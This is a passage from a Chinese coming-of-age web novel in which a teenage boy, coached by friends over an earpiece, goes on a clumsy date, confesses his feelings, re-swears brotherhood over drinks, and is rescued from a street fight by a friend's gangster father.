所有人的目光都聚焦在张霆琛身上。宿舍里安静下来,只有窗外隐约的蝉鸣。张霆琛低着头,手指无意识地绞着衣角,脸上红一阵白一阵。沉默了几秒,他猛地抬起头,眼神里没了之前的迷茫,取而代之的是一种下定决心的坚定,他深吸一口气,清晰地吐出两个字:“喜欢!”
宿舍里静了一瞬,随即爆发出更大的欢呼和口哨声
第五十一章:约会
礼品店的空气弥漫着香薰和玻璃制品的气息。梁颖在琳琅满目的货架间穿梭,指尖划过各式饰品,发出细碎的轻响。她的神情专注,带着少女特有的认真劲儿,仿佛在挑选的不是礼物,而是某个重要的信物。
相比之下,张霆琛则像木头人。他百无聊赖地环顾四周,目光空洞,直到瞥见门口玻璃窗外那几个熟悉又鬼祟的身影,苏旭、林凯、陈曦一群人正挤在广告牌后面,探头探脑,林凯夸张地比划着,示意他戴上蓝牙耳机。张霆琛像个接到指令的机器人,动作僵硬地照做。
耳机刚接通,苏旭那急吼吼的声音就炸了进来:“大哥!我的亲哥!你别跟个佛爷似的杵那儿坐禅啊!动起来!上啊!拿出你男人的雄风!给她个壁咚!展示你的……嗷!”一声痛呼打断了他的豪言壮语。紧接着是陈曦没好气的训斥:“闭嘴吧你!馊主意一堆!”她的声音切换进来,清晰又带着点恨铁不成钢的焦灼,“二哥,听我的!别傻坐着,过去陪她看看,自然点,但一定要斯文!记住,斯文!”
张霆琛喉咙里滚出一个闷闷的“哦”,慢吞吞地朝梁颖挪过去。“张霆琛,你看这个好不好看?”梁颖恰好拿起一条项链,献宝似的举到他眼前。长方形的黑水晶吊坠在灯光下折射出炫目的光芒,确实很吸引眼球。“嗯,好看。”张霆琛的回答标准得像模板。
梁颖眼睛一亮,带着一丝撒娇的意味说:“那把你脖子上的摘下来,戴我这个好不好?”她的目光落在张霆琛颈间那条看似普通、却意义非凡的链子上。只有他们兄弟几个知道,那不起眼的吊坠里,封存着医院后墙根下挖出的烟叶,是他们逃离旧城、结为兄弟的无声誓言。
“不行!”张霆琛几乎是条件反射般斩钉截铁地拒绝,声音陡然拔高,带着不容置疑的坚决,“什么都不能替这个!”那份守护的固执,瞬间盖过了之前的呆滞。梁颖脸上的光彩黯淡下去,失望地撅起了嘴,与此同时,蓝牙耳机里传来陈曦气急败坏的支招:“哎呀二哥!你傻呀!先答应下来啊!咱们那个坠可以拆下来改成手链戴嘛!灵活点!”
张霆琛像是接收到了最新程序,立刻有样学样,对着梁颖重复:“呃,我先答应你!我们的可以改成手链!”这话一出,逻辑清奇,效果拔群。只听门外广告牌后传来几声闷响,显然那几个“场外指导”被这神转折惊得集体扑街。
梁颖被他这前言不搭后语的回答弄得有点懵,随即又被他那认真的傻气逗乐了,噗嗤一笑:“算啦算啦,不用啦。我给你买条手链吧?”她转头,对一直暗中观察他们的服务员说:“您好,麻烦帮我们找一对手链看看?”服务员是个精明的,早看出这俩学生模样的孩子气氛微妙,尤其男生旁边似乎还有“亲友团”。他立刻堆起十二分的热情,变戏法似的捧出一对设计精巧的银饰手链:“有有有!您二位看看这款!新到的,特别适合年轻情侣,寓意也好,同舟共济嘛!”
梁颖拿起其中一条,在自己纤细的手腕上比划了一下,又递给张霆琛:“好看吗?”张霆琛的视线还下意识地瞟着门口的方向,心不在焉地点头:“好看,怎么都好看。”这敷衍的万能句式再次上线。梁颖轻轻推了他胳膊一下,嗔怪道:“你到底有没有在听我说话呀?我问你喜不喜欢?送你这个,要不要?”
张霆琛还没反应,耳机里陈曦的指令又到了:“还愣着干嘛?问那么多!赶紧去交钱!展现你的大方!”“哦!要要要!”张霆琛像是被点醒,连忙点头如捣蒜。然而下一秒,他鬼使神差地抛出一个堪称约会**级别的问题,直愣愣地问:“不过还是你干嘛要给我买东西啊?”轰!梁颖的脸颊瞬间爆红,眼神慌乱地四处乱飘,手指无意识地绞着衣角,嘴唇动了动,却只发出几个毫无意义的单音节:“啊?这个…我…那个……”
门外,蓝牙耳机里传来陈曦绝望的哀嚎和拍脑门的声音:“我的天!二哥你是真木头啊!”接着是她强行镇定的指挥:“别管了!快去付钱!快!”张霆琛接收到指令,再次“哦”了一声,转向服务员,带着一种完成任务的使命感:“多少钱?”
服务员脸上笑容不变,报出一个数字:“一千。”“哦。”张霆琛应着,手就往口袋伸去,动作流畅得仿佛只是买瓶水。“不行!太贵了!”梁颖瞬间从羞涩中惊醒,一把按住张霆琛掏钱的手,像护崽的母鸡,“一千块买个银饰?抢钱呢!够我几周生活费了!”她不满地瞪了服务员一眼,拉着张霆琛就往旁边走,“不买了不买了,咱们再看看别的。”
服务员一看煮熟的鸭子要飞,立刻使出浑身解数挽留:“哎哎,同学别急嘛!这样,看你们真心喜欢,给你们个诚心价,八百!怎么样?”梁颖拉着张霆琛,头都没回。“七百五!最低了!”服务员的声音透着点急切。梁颖脚步没停。“六百六!六六大顺!吉利数!”服务员的声音开始发飘。梁颖终于停下,转过头,小脸上带着与她年龄不符的犀利,毫不客气地戳穿:“大叔,我们家也是开礼品店的。您这样漫天要价、坐地还钱,生意可做不长久哦。”她语气干
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脆,拉着张霆琛就往外走,“张霆琛,我们走吧,以后再说。去看电影!”
两人刚走出店门,门口广告牌后立刻上演了一出地鼠消失术,几个人影缩了回去,只留下广告牌在风中凌乱。走在去电影院的路上,梁颖似乎调整好了心情,侧头问张霆琛:“你想看什么?”张霆琛脑子里还回响着《变形金刚》预告片里擎天柱变形的轰鸣声,脱口而出:“变形金刚!”话音未落,耳机里陈曦的咆哮就穿透而来:“张霆琛!!你脑子被门夹啦?!哪个女孩子约会会想看一堆铁疙瘩打架?!浪漫!要浪漫懂不懂?!爱情片!!”
张霆琛下意识地缩了缩脖子,对着无形的场外指导小声辩解:“那不是铁疙瘩!是变形金刚!每个男孩的梦……”他这自言自语的样子落在梁颖眼里,显得格外古怪。“嗯?你说什么机器人?”梁颖疑惑地看着他,“我没说机器人啊?”张霆琛猛地回神,尴尬地挠着后脑勺,头发都快挠成了鸡窝:“啊?不是不是!我是说呃……就是机器人…哦不!看爱情片!对对对,爱情片好!”他努力回忆着陈曦的指示,终于在记忆角落挖出一个符合“经典爱情”标签的名字,带着一种完成任务般的笃定说:“就看那个,《魂断蓝桥》!怀念经典版!”
门外的“亲友团”仿佛集体中枪,隔着耳机都能想象到他们集体扑街的画面。陈曦更是气得差点把蓝牙耳机捏碎。然而,出乎所有人意料,梁颖的眼睛却一下子亮了起来,惊喜地拍手:“真的吗?你也喜欢这种老电影啊?我超爱的!那种古典的浪漫……我们快去买票吧!”她雀跃地拉着还有些懵的张霆琛走向售票窗口。
看着两人走进影厅,外面几人赶紧也去买票。陈曦凑到窗口,努力装出熟稔的样子:“阿姨,刚才进去那俩,他们买的哪两个座?”售票员阿姨警惕地看了她一眼:“对不起啊小姑娘,这个不能透露。你们想看哪场自己买票选座呗。”
陈曦不死心:“我们真是他同学!您就告诉我们吧,我们好坐近点……”售票员态度坚决:“不行,这是规定。”几个人无奈,只能买了最后一排的角落位置。摸黑找到座位刚坐下,苏旭一拍大腿,恍然大悟地低叫:“哎呀!笨**!咱们刚才应该先派一个人进来侦察,看清他们坐哪儿,再发短信让外面的人买同场的票不就得了!”
黑暗中,几道杀气腾腾的目光瞬间聚焦在他身上。“马后炮!”“有办法不早说!”“揍他!”随即,最后一排的角落传来一阵压抑的“呜呜”声和拳拳到肉的闷响。
第五十二章:表白
放映厅里稀稀落落,空位比人影还多。几对小情侣零散地依偎着,更衬得张霆琛他们几个浩浩荡荡的一群人像来包场的。电影的光影开始流淌,张霆琛像个入定的老僧,正襟危坐,目不斜视地盯着银幕,仿佛电影是**。这可急坏了后排的陈曦他们几个,抓耳挠腮。王涛一把抢过陈曦的手机,对着蓝牙耳机低吼:“给我抓她的手!”
指令来得太突然,张霆琛脑子还没转,手已经下意识地伸出去,精准地一把攥住了旁边梁颖的手腕!梁颖猛地一僵,黑暗中,那张白皙的脸一下红透了,她没挣开,只是呼吸明显乱了,带着一丝困惑和羞赧看向张霆琛。陈曦赶紧把手机夺回来,恨铁不成钢地压低声音:“哪有那么直白的!听我的!把手放开!”
张霆琛触电般松手,速度快得像被烫到。梁颖更懵了,眼神里写满了问号:这人到底想干嘛?陈曦的声音再次从耳机里挤出来,带着点咬牙切齿:“聊点她喜欢的话题!”张霆琛深吸一口气,转头,对着梁颖无比认真、一字一顿地复读:“聊点你喜欢的话题。”
“噗”后排不知谁先憋不住,随即陈曦彻底破功,一声石破天惊的怒吼炸响在空旷的放映厅:“你**啊!”整个影厅的目光瞬间聚焦后排!张霆琛像甩掉烫手山芋般飞快摘掉了蓝牙耳机。梁颖疑惑地回头张望,后排那群人立刻齐刷刷把头埋进爆米花桶里装鸵鸟。梁颖转回头,后排才敢抬起憋红的脸。
王涛捶了下座椅,小声抱怨,“还不如听我的直接抓手呢!你看,他把电话挂了吧!”陈曦狠狠剜他一眼:“是他太笨了!笨得冒烟儿!”这一点得到了其他人的一致点头。土狗也叹气:“真是!琛哥平时看着挺机灵一人,怎么现在跟块千年老木头似的?”李辰浩无奈总结:“他就是木头!纯的!没救了!”正吐槽着,苏旭忽然往前一指:“诶?他俩人呢?”
众人伸长脖子找了半天,前排那两个座位,空了!再打电话,关机!一股不祥的预感弥漫开来。倒霉蛋苏旭再次被推出去侦察,他在前面转悠一圈,人影都没摸着。邓志辉摸着下巴,一脸真相只有一个的表情:“我敢打赌,木头开窍,把咱们卖了,然后梁颖带他‘私奔’了!”还真让他猜着了。张霆琛被后排的场外指导弄得浑身不自在,干脆坦白交代。梁颖一听被人全程监听,也觉得这约会太别扭,果断拉着张霆琛,趁着银幕光影变幻,悄无声息地从安全出口溜了。
清冷的空气扑面而来,张霆琛有种重获自由的轻松。梁颖停下脚步,路灯的光晕在她脸上跳跃,她歪着头,带着点嗔怪和好奇:“张霆琛同学,现在,可以好好解释一下了吗?”张霆琛挠了挠头,像个做错事被发现的孩子,眼神里带着少见的局促和天真:“我不知道约会该做什么,从来没试过,所以就…”他的声音越来越小。
“所以就搬了救兵?”梁颖挑眉,嘴角却忍不住微微上扬。看着眼前这个和打架时判若两人的张霆琛,一种奇异的感觉在她心里蔓延。和张霆琛在一起,有种莫名的安心,却又像揣了只小兔子,咚咚咚地撞着心口。“嗯”张霆琛老实地点头。梁颖看着他难得流露的笨拙,噗嗤笑了出来,脸颊飞上红霞:“真奇怪,你打架护着人的时候,明明那么帅,那么有气势,我就是被那样的你吸引的。”声音轻得像羽毛拂过。
这次,张霆琛没再兜圈子,他抬起头,目光灼灼地看向梁颖的眼睛,每一个字都带着少年的赤诚:“我挺喜欢你的。”声音不大,却异常清晰。梁颖的心跳漏了一拍,她轻声问:“那你会好好对我吗?”张霆琛的回答斩钉截铁,没有丝毫犹豫:“一辈子,我只对你好。”“那以后,如果你不喜欢我了,一定要告诉我,”梁颖的声音带着一丝不易察觉的脆弱,“我会自己离开的。”
张霆琛的心猛地一紧,他立刻伸出手,坚定地、紧紧地握住了梁颖微凉的手:“不会的!我绝不会离开你,也绝不会喜欢别人。一生一世,我只喜欢你一个。”
冬日的黄昏,天色是温柔的橘粉。他们并肩走着,不知何时,十指已悄然紧扣。寒风凛冽,吹在脸上有些刺痛,但相握的手心传来的温度,却像一个小小的暖炉,驱散了所有的寒意,暖流一直淌进心底,仿佛置身于繁花盛开的春日。梁颖听着少年笨拙却无比真挚的誓言,那一刻,她觉得整个世界都笼罩在幸福的光晕里。这场景在大人眼中或许幼稚可笑,两个十六岁的孩子谈论一生一世。但青春不正是如此?纯粹、炽热、带着点不顾一切的傻气。这份尚未被世俗沾染的情感,晶莹剔透,是生命中最珍贵的底
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色。
不知不觉,暮色四合。梁颖停下脚步,依依不舍:“我得回家了。”“明天还能出来吗?”张霆琛眼巴巴地问。梁颖摇摇头,带着歉意:“不行呢,周末要在家学习,还要帮妈妈看店。下次吧!”她看到张霆琛眼中的失落,又赶紧补充道。张霆琛点点头,坚持要送她。快到小区门口时,梁颖停下,有些紧张地看了看四周:“送到这儿吧,被我爸妈看到就惨了。”说完,她飞快地踮起脚尖,在张霆琛惊讶的目光中,一个轻柔如羽毛般的吻,落在了他的脸颊上。下一秒,她像只受惊的小鹿,转身就跑进了小区深处,只留下一阵淡淡的馨香。
张霆琛彻底石化在原地,脸颊上那一点微凉的、柔软的触感,像投入心湖的石子,漾开一圈圈滚烫的涟漪。寒风依旧刺骨,但他感觉不到冷,胸腔里仿佛有滚烫的岩浆在奔涌,整个人都沐浴在一种不可思议的温暖和眩晕中。世界仿佛在这一刻静止、凝固,只剩下那个轻盈转身的背影,和心口擂鼓般的心跳。
不知在寒风中站了多久,张霆琛才猛地回过神,像大梦初醒。他下意识地掏出手机开机“嘀嘀嘀嘀嘀……”瞬间,屏幕被无数条短信通知疯狂刷屏!张霆琛心里咯噔一下:坏了!他赶紧拨通李辰浩的电话。电话刚通,那边就传来一片嘈杂的背景音和李辰浩幸灾乐祸的大嗓门:“喂!琛啊!现在给我打电话也没用!自求多福吧!哥几个已经磨刀霍霍了!”紧接着,王涛气急败坏的声音抢过话筒:“张霆琛你个忘恩负义的!死哪去了?!赔我电话费!精神损失费!”
邓志辉的声音又挤了进来,带着看好戏的腔调:“行啊小子!深藏不露!赶紧滚回来老实交代!这半天去哪深入交流了?不然…哼哼!后果自负!”电话那头传来一片不怀好意的哄笑和附和。
张霆琛额头瞬间冒出一层冷汗,他赶紧认怂:“好好好!我坦白!我交代!行了吧?先说你们在哪?我请客!管饱!行不行?”“这还差不多!”邓志辉的声音带着胜利的得意,“老地方,学校门口小吃街!麻溜儿的滚过来!”没等那边再说话,张霆琛赶紧挂了电话,长舒一口气,还是见面再负荆请罪吧。他抬手拦下一辆出租车,报出学校地址,车子汇入城市的车流,朝着那片即将到来的审判驶去。
第五十三章:再结拜
张霆琛付了车钱,刚钻出出租车,一股混合着炭火焦香和孜然辛辣的烤肉味儿就扑面而来。他抬眼望去,心头猛地一紧,旁边那家烤肉摊前,陈曦他们几个早已围坐一圈,个个目光灼灼,杀气腾腾地瞪着他,手里攥着的肉串签子仿佛下一秒就要变成投枪。
张霆琛下意识地刹住脚步,隔着十来米远的距离就扯着嗓子喊:“喂!我请客!我请还不行吗?你们要是打算批斗我,我可就打车回家了!”声音带着点虚张声势的颤抖。摊子那边,邓志辉的声音传来,带着一种刻意压低的、不怀好意的“温和”:“行啦,过来吧!大伙儿是关心你,还能吃了你不成?来啊!”他朝张霆琛招招手,随即又像想起什么似的补充道,“对了,够意思吧?我还特意帮你打听了梁颖的家底儿!他爹叫梁忪!他妈叫梁艳!嘿,一家子都姓梁,开了个小门店,做点小买卖。怎么样,兄弟我够不够仗义?”
这番投名状般的消息,加上邓志辉那真诚语气,果然让张霆琛放松了警惕。他挠挠头,犹犹豫豫地挪了过去。刚走到摊子边沿,还没来得及看清众人表情,就听苏旭一声断喝:“扁他!”瞬间,几条身影如同饿虎扑食,七手八脚地将他按倒在地!粗糙的沥青路面硌得他生疼,烤肉签子滚落一旁的油渍里。王涛学着港片里的腔调,一脚踩在他背上,瓮声瓮气地喊:“坦白从宽,抗拒从严!”喊完又卡壳了,扭头问旁边的林凯:“诶,接下来怎么说来着?”
林凯毫不客气地一屁股坐在张霆琛的腰眼上,压得他闷哼一声。林凯推了推不存在的眼镜,模仿着蹩脚的TVB法律剧口吻:“你有权保持沉默,但你所说的一切都将成为‘程堂供据’!”他显然把“呈堂证供”记错了。
“对对对!‘程堂供据’!”王涛赶紧鹦鹉学舌,一脸严肃。“行啦行啦!什么乱七八糟的!”邓志辉忍着笑,蹲下身,凑近被压得龇牙咧嘴的张霆琛的脸,“别整那些没用的。老实交代,你们俩到底跑哪儿去了?都干啥了?”他眼里闪烁着八卦的精光。
张霆琛被压得喘不过气,脸憋得通红:“起…起来让我起来说”王涛哼了一声,松开了脚:“算你小子识相!!”一行人嘻嘻哈哈,包间里,张霆琛被强行按在主位,李辰浩和苏旭一左一右把他夹在中间,颇有看管的意味。刚点完菜,邓志辉就迫不及待地再次发难:“快说!到底去哪儿了?干了些啥?成了没?”他搓着手,身体前倾,像等待彩票开奖。
张霆琛被几双眼睛盯得浑身不自在,一手挠着后脑勺,嘴角却抑制不住地向上咧开,露出一口白牙,笑得像个偷吃到糖的孩子:“成了,我也不知道啥地方,挺偏的,最后她亲了我这儿一下。”他傻呵呵地指着自己的脸颊,眼神亮晶晶的。
“嗷——!!!”包间里瞬间炸开了锅!怪叫声、口哨声、拍桌子声混成一片,差点掀翻屋顶。王涛激动得满脸通红,猛地站起来,扯着嗓子朝门外吼:“服务员!来两箱冰啤酒!要快!”“我不会喝酒!”张霆琛下意识地摆手拒绝。话音未落,空气骤然凝固。刚才还喧闹的包间瞬间安静下来。七八道目光齐刷刷地钉在他脸上,那眼神里的杀气比烤肉摊前更甚十倍,冷飕飕的。张霆琛被看得头皮发麻,喉结滚动了一下,赶紧改口:“行行行,我喝还不行吗”。
“这就对了嘛!”土狗第一个响应,身体灵活地站起来,抄起刚启开的一瓶啤酒,泡沫滋滋地涌出瓶口,“兄弟们!第一杯!敬咱们琛哥!以后,他就是咱们的大哥!干了!”他豪气干云地举起酒瓶。“敬琛哥!”众人纷纷响应,杯子瓶子碰得叮当乱响。张霆琛看着眼前晃动的酒杯和一张张兴奋的脸,慌忙摆手:“别别别!我不是大哥!辰浩才是我大哥!咱们是兄弟,不分大小!”他看向李辰浩,眼神真诚。
“这不行!”王涛把杯子重重一放,酒液溅出几滴,“既然都说了以后跟着你,就得有个领头的!这个位置,你张霆琛坐也得坐,不坐也得坐!你要不坐,我现在就走!”他梗着脖子,一脸没得商量。
张霆琛看着王涛认真的样子,又扫视了一圈,深吸一口气,也端起了面前的酒杯,那冰凉的触感让他稍微清醒了些:“好!那这个位置,我张霆琛就先坐着!日后谁要是觉得我不够格,或者有更好的想法,随时说出来,我张霆琛二话不说,自己下来!”他顿了顿,语气郑重地补充,“但是,按咱们之前的交情和辈分,李辰浩永远是我大哥,这点,变不了!”
“这没问题!”王涛爽快地应承。邓志辉眼珠一转,提议道:“不如咱们趁今天,重新拜把子吧?你们几个辈分不变,我们几个往后排排?”“这不行!”李辰浩立刻反对,声音沉稳,“要拜就重新排,没有你那个规矩。”张霆琛也点头附和:“浩哥说得对,重拜就得重排。”王涛性子急,一拍桌子:“还矫情什么志辉!就这么定了!来来来,现在,就在这饭桌上,拜把子!”
一群半大少年,就在这杯盘狼藉的饭桌上,嘻嘻哈哈却又带着几分庄重地重新排了座次。按年龄大小,依次是:李辰浩(大哥)、张霆琛(二哥)、邓志辉(老三)、陈曦(老四)、苏旭(老五)、王涛(老六)、彭志龙(老七)、林凯(老八)、土狗(老九)。
拜完,陈曦小心翼翼地从烟盒里抽出一支烟,放在桌子中央,认真地说:“咱们今天拜把子的见证,就是这支烟!烟给我,我明天就去找人,把它拆了,烟丝装进小坠子里,一人一个项链坠戴着!以后谁要是背信弃义、卖友求荣,就把他那个收回来!咱这兄弟情,就算到头了!”“行!这主意好!就这么着!”王涛又是第一个拍板,急性子的他恨不得现在就去找工匠。
这顿饭吃得天昏地暗,啤酒瓶滚了一地。张霆琛最终还是被热情似火的兄弟们灌得晕晕乎乎,走路都打晃。但心里那份纯粹的喜悦,像泡腾片在温水里滋滋作响,满溢出来。他很久没有这么开心了,发自内心的畅快。夜深了,一群十几岁的少年勾肩搭背,摇摇晃晃地压着马路,早把回家的事抛到了九霄云外。晚风吹在滚烫的脸上,带来一丝凉意。林凯掏出嗡嗡作响的手机,看了一眼,笑嘻嘻地说:“嘿,我老爸刚来电话,威胁我说再不回去,就派警察叔叔来抓我!哈哈哈……”他笑得没心没肺。
王涛也摸出手机晃了晃:“我爸也是,呵呵,一个套路。”语气里带着点满不在乎。邓志辉还算清醒些,看着这群东倒西歪的兄弟,无奈地摇摇头:“都散了吧,再不回去,家里该急疯了。以后日子长着呢,想玩明天再聚。”陈曦也揉着发胀的太阳穴附和:“是啊,再不回去,估计以后门禁时间得提前到太阳下山了。走吧走吧!”邓志辉掏出手机:“行,我给我爸打电话,让他来接我,顺道……”
他话还没说完,一个冰冷、带着明显敌意的洪亮嗓音,猛地从旁边幽暗的巷口传了过来:“想走?有那么容易吗?”众人一惊,酒意瞬间醒了大半。循声望去,只见十几条人影从阴影里无声地涌了出来,堵住了去路。为首的是个光着膀子的大汉,透着股狠戾。邓志辉心猛地一沉,来者不善!兄弟们大多醉得脚步虚浮,真动起手来,绝对吃亏!
邓志辉强压下心惊,脸上堆起殷勤的笑,上前一步:“哥,您几位这是找谁啊?”他试图缓和气氛。“谁他妈是你哥!”男子啐了一口,眼神凶戾地在他们脸上一一扫过,“你们里头,谁是邓志辉?谁是张霆琛?”邓志辉心里咯噔一下,知道躲不过,硬着头皮应道:“我就是邓志辉。哥,您找我什么事?”他悄悄绷紧了身体。
“什么事?”男子狞笑一声,“教你小子怎么做人!”话音未落,拳头带着风声,毫无征兆地直捣邓志辉面门!就在这电光火石的一瞬,一直沉默站在邓志辉侧后方的李辰浩,如同鬼魅般闪身而出!他动作快得惊人,左手
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闪电般一搭一引,精准地卸开了男子拳头上大半的力道,同时右手顺势向前一托,稳稳扶住了因用力过猛而微微前倾的蝎男子,李辰浩的声音平静无波,带着一种刻意的息事宁人:“哥,有话好说。动手多没意思。”
男子一拳落空,还差点被带了个趔趄,在手下面前丢了面子,顿时恼羞成怒。他根本没领李辰浩给台阶的情,反而觉得是更大的羞辱。二话不说,反手就是一个凶狠的耳光,结结实实扇在李辰浩脸上!
清脆的响声在寂静的夜里格外刺耳。李辰浩头被打得偏了过去,脸颊上迅速浮现出清晰的指印,火辣辣地疼。他没躲也没还手,只是用一只手捂住了脸,指缝里露出的眼神沉静得可怕。他飞快地瞥了一眼身后,张霆琛正醉醺醺地坐在地上,眼神有些涣散,幸好没看清这一幕,否则以张霆琛现在的状态,非炸了不可。
男子甩了甩打疼的手,恶狠狠地骂道:“**算什么东西?滚开!谁叫张霆琛?给老子滚出来!”“我是!”张霆琛的声音带着浓重的醉意,却异常清晰地从后面响起。他摇摇晃晃地站了起来,身体还有些不稳,但那双被酒精烧得微红的眼睛,此刻却像盯住猎物的野兽,死死锁在男子脸上,声音低沉得可怕:“你刚才**了,对吗?”
男子被张霆琛的眼神盯得心里莫名一寒,但仗着人多势众,立刻梗着脖子吼道:“打的就是你们这帮小崽子!怎么着……”字刚出口,异变陡生!坐在地上的张霆琛仿佛装了弹簧,身影快得只留下一道残影!众人只觉得眼前一花,他已经鬼魅般贴近了男子!右手如同铁钳般,以迅雷不及掩耳之势,精准无比地扣住了男子的咽喉!
男子只觉喉骨剧痛,气管被死死扼住,瞬间窒息,眼珠暴突,脸色涨成了猪肝色!张霆琛的手指如同冰冷的钢爪,深深陷入皮肉之中,那股狠戾的杀气,让周围几个打手都下意识地后退了一步!
“小琛!别!”李辰浩看得心惊肉跳,他最怕的就是张霆琛醉酒后失控!他一个箭步冲上去,死死抱住张霆琛的胳膊往后拉,“松手!松手!要出人命了!”“咳咳咳!”被松开的男子捂着脖子,剧烈地咳嗽喘息,劫后余生的恐惧瞬间被更大的愤怒淹没。他指着张霆琛和李辰浩,嘶哑地咆哮:“妈的!给**死他们!往死里打!”
他身后那十几个早已按捺不住的壮汉,如同出闸的恶狼,嚎叫着扑了上来!李辰浩和张霆琛背靠着背,瞬间陷入重围!李辰浩眼神凌厉,格挡、闪避、反击,动作干脆利落,每一拳每一脚都带着破风声,竟暂时逼退了几个近身的。张霆琛则像一头被彻底激怒的困兽,拳脚毫无章法,却带着一股同归于尽的狠劲,硬生生用身体撞翻了一个扑上来的家伙。但双拳难敌四手,更何况是十几个身强力壮的成年人?混乱中,雨点般的拳头和脚影很快淹没了两人!
这帮人似乎还有点底线,没有去动被吓得尖叫的陈曦。但陈曦看到苏旭被一个大汉揪住衣领狠揍,急得不管不顾冲上去撕扯那人的胳膊:“放开他!”结果被对方不耐烦地一把推开。她惊呼一声,重重摔在冰冷坚硬的路面上,手肘和膝盖传来钻心的疼痛。
“曦姐!”林凯和王涛想去扶她,却被另外的人挡住,推搡在地。土狗仗着体重想撞开一个人,却被轻易地绊倒…场面彻底失控,哭喊声、叫骂声、拳脚到肉的闷响混杂在一起。就在这混乱不堪、几乎绝望的时刻,一道雪亮的车灯,如同利剑般撕裂了黑暗,毫无征兆地打在了混战的人群边缘!强烈的光线让所有人都下意识地眯起了眼,动作也为之一滞。
一辆线条流畅、通体漆黑的奔驰S级轿车,不知何时已悄无声息地停在了路边,像一头沉默的黑色巨兽。车门打开,一只擦得锃亮的黑色皮鞋沉稳地踏在路面上。一个低沉、威严、带着不容置疑力量的声音,清晰地穿透了混乱的喧嚣,在寂静下来的街道上回荡:“住手!”
第五十四章:青帮邓天啸,书房密谈
他径直走向混乱的中心,目光平静地扫过狼藉的场面,最终落在带头男子身上。男子被这突如其来的气场慑了一下,色厉内荏地喝问:“你谁啊?”声音在寂静的夜里显得有些突兀。男人脸上浮现一丝淡淡的笑意,那笑意却未达眼底,语气平和得像在商量:“哥几个,这事就先这么算了吧,给我个面子,行个方便?”
“面子?”男子像是听到了天大的笑话,嗤笑一声,胸膛起伏着“**谁啊?你的面子值几个钱?让我住手就住手?”他身后的混混们也发出几声不怀好意的哄笑,眼神挑衅。男人依旧不疾不徐,声音不高,却清晰地穿透了夜风:“我叫邓天啸。”他顿了顿,补充道,“兄弟几个,就给个面子?”
“邓天啸?”男子先是一愣,随即不屑地撇嘴,“邓天啸是个什么玩意儿……”话刚出口一半,他脸上的表情骤然凝固,他猛地想起什么,眼神里闪过一丝难以置信的惊惧,声音不由自主地低了下去,带着迟疑和试探:“哪个邓天啸?”“还能有几个邓天啸?”邓天啸的语气依旧平淡,却像一块沉重的石头压在众人心头,“这几个孩子不懂事,冲撞了几位兄弟,过几天我摆桌,给你们赔罪,如何?”
男子脸上的血色瞬间褪尽,额头瞬间沁出细密的冷汗。他几乎是条件反射般地朝身后混乱的人群嘶吼:“停手!都他妈给我停手!听见没有!”声音尖锐得变了调。然而,人群边缘还有两个混混正揪着倒在地上的张霆琛拳打脚踢,似乎没听清。男子见状,一个箭步冲上去,狠狠一脚踹在其中一人腰眼上,力道之大,直接将那人踹了个趔趄,扑倒在地。
“操!**踹**嘛?!”被踹的混混狼狈地爬起来,怒气冲冲地骂了一句,眼神凶狠地扫视着,最终锁定在邓天啸身上。他显然没搞清状况,只觉得老大莫名其妙,火气上头,竟不管不顾地冲过来,伸手指着邓天啸的鼻子:“**算老几!凭什么叫我们住手?!”
没人看清邓天啸的动作,只觉得眼前一花。下一秒,一个冰冷、坚硬、泛着死亡幽光的金属物体,已经稳稳地抵在了那混混的太阳穴上!黑洞洞的枪口,在昏暗的路灯下散发着令人窒息的寒意。邓天啸脸上的笑容彻底消失了,眼神锐利如刀锋,声音冷得像冰渣:“我说了好几次了,我叫邓天啸。”他顿了顿,语气带着一丝不易察觉的轻蔑和厌倦,“本来可以很体面地收场,你们怎么就那么不识趣?怪不得混到现在,还是上不了台面的小混混!”
被枪指着的混混瞬间僵住了,瞳孔因极致的恐惧而放大,身体筛糠般抖了起来,牙齿咯咯作响,刚才的嚣张气焰荡然无存。
“对……对不起!邓爷!对不起!”男子魂飞魄散,慌忙冲上来,双手颤抖着想去握邓天啸**的手腕,却又不敢真的触碰,只能虚虚地悬着,声音带着哭腔,“我们有眼不识泰山!我们马上滚!马上就滚!”他一边说着,一边拼命朝身后那些同样吓傻了的混混们挥手。
那群人如蒙大赦,连滚带爬地就想逃离这个恐怖的地方。“等等!”一个带着浓重醉意却异常凶狠的声音响起。只见刚才还蜷缩在地的张霆琛,不知何时竟摇摇晃晃地站了起来。他眼神迷离,脸上青一块紫一块,嘴角还挂着血丝,但那股狠戾的气势却丝毫未减。在所有人惊愕的目光中,他如同猎豹般猛地前冲,借着冲势凌空跃起,一记凶狠凌厉的鞭腿,带着破风声,狠狠扫在男子的后脑勺上!
男子连哼都没哼一声,眼前一黑,像截木头般直挺挺地栽倒在地,彻底昏死过去。张霆琛踉跄落地,单膝跪地,喘着粗气,冰冷的目光扫过地上不省人事的男子,声音沙哑却带着刺骨的寒意:“记着!再敢动我兄弟一根汗**你就得死!”
混混们吓得噤若寒蝉,连拖带拽地把老大架起来,头也不敢回地仓皇逃窜,瞬间消失在黑暗的巷口。邓天啸看着这一幕,微不可查地摇了摇头,心中暗叹:“不知天高地厚的愣头青,下手没个轻重,这梁子算是结**。”这时,邓志辉从地上挣扎着爬起,抹了把嘴角的血迹,对着邓天啸喊了一声,声音带着点尴尬和无奈:“爸……”
“爸?!”除了王涛等少数知情人,其他人都震惊地瞪大了眼睛,目光在邓志辉和那个气场强大、手持凶器的男人之间来回逡巡。邓天啸没理会众人的惊讶,手腕一翻,那柄散发着危险气息的**如同变魔术般消失在他西装内袋里。他目光严厉地扫过这群鼻青脸肿、狼狈不堪的少年:“今天这事,算给你们这帮不知天高地厚的毛孩子一个教训!**都没长齐就敢到处惹是生非,不知死活!”他顿了顿,语气不容置疑,“今晚都去我家,给家里打个电话报平安。我家有医生处理伤口。”
一行人带着劫后余生的庆幸和对未知的忐忑,默默上了那辆如同黑色堡垒般的加长奔驰。车内空间宽敞,真皮座椅散发着昂贵的气息,但气氛却压抑得如同凝固。每个人都屏着呼吸,连伤口传来的疼痛都似乎被这沉重的氛围暂时麻痹了。只有张霆琛,他靠在椅背上,微微喘息着,打破了沉默,声音有些嘶哑:“谢谢叔叔。”
